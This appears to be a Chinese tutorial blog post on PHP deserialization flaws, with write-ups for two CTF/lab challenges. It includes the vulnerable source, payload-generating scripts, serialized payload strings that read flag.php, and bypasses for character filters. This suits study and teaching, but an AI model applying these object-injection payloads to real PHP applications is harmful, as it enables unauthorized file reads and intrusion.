反序列化漏洞

这玩意在实战里面还是比较难触发的,黑盒测试似乎不太可能,ctf中倒是遇到比较多,实战中比较出名的有weblogic的反序列化漏洞

PHP反序列化

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法

  • serialize() //将对象转化为字符串,运行的时候会调用_sleep()函数
  • unserialize() //将字符串转化为对象,运行的时候会调用_wakeup()函数

O:3:”abc”:2:{s:4:”name”;i:2:”19”;}

当出现的是有类的序列化的时候,还要注意以下这些函数

  • _construct() //构造函数
  • _destruct() //析构函数
  • _call() //在对象上下文中调用不可访问的方法时触发
  • _callStatic() //在静态上下问中调用不可访问的方法时触发
  • _get() //用于从不可访问的属性读取数据
  • _set() //用于将数据写入不可访问的属性
  • _isset() //在不可访问的属性上调用isset()或empty()触发
  • __toString() //可以定义输出类的内容

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

首先看输出flag的地方,源码里面只有一个地方可以

1
2
3
4
5
6
7
8
9
10
11
12
else if($this->op == "2") {
$res = $this->read();
$this->output($res);
//而read()函数里面输出的是filename的内容
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
//所以我们要把filename定义成flag.php

这里process()这个函数很重要,在构造函数和析构函数都调用了一次

然后由于那个判断语句,我们要把op设为2才行,若为1,会运行write()函数覆盖filename文件的内容

这里只需要管析构函数那里

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

可以看到这里进行了一个强比较,若是发现op是2,会赋值为1,但是我们后面在process()中还需要op等于2,这里有一个小细节,process()里面的比较是==,而===和==的区别就是===还要比较类型,所以我们这里把op赋值成数字就可以,最后的解题

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler{
public $op=2;
public $filename="flag.php";
public $content = "";
}
$a=new FileHandler;
$b=serialize($a);
echo $b;
?>

构造str?=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:0:””;}

查看源码就得到flag了,这里还有一个地方要注意,为什么使用public

1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

三种访问控制的区别

public: 变量名

protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名%00 + * + %00 + 变量名

private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名%00 + 类名 + %00 + 变量名

注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)

靶场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>

<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>

这里直接看POST那里的内容就可以了

这里把post的内容分成两个部分,一个是m一个是h,这里的m是要进行一个序列化操作的,而h则要进行一个比较,要求与m相同,于是我们可以编写一个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
$s = new readme();
$s->source = "flag.php";
$s = [$s];
$a=md5(serialize($s));
echo $a.serialize($s);
?>

直接post

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}

然后修改cookie得到flag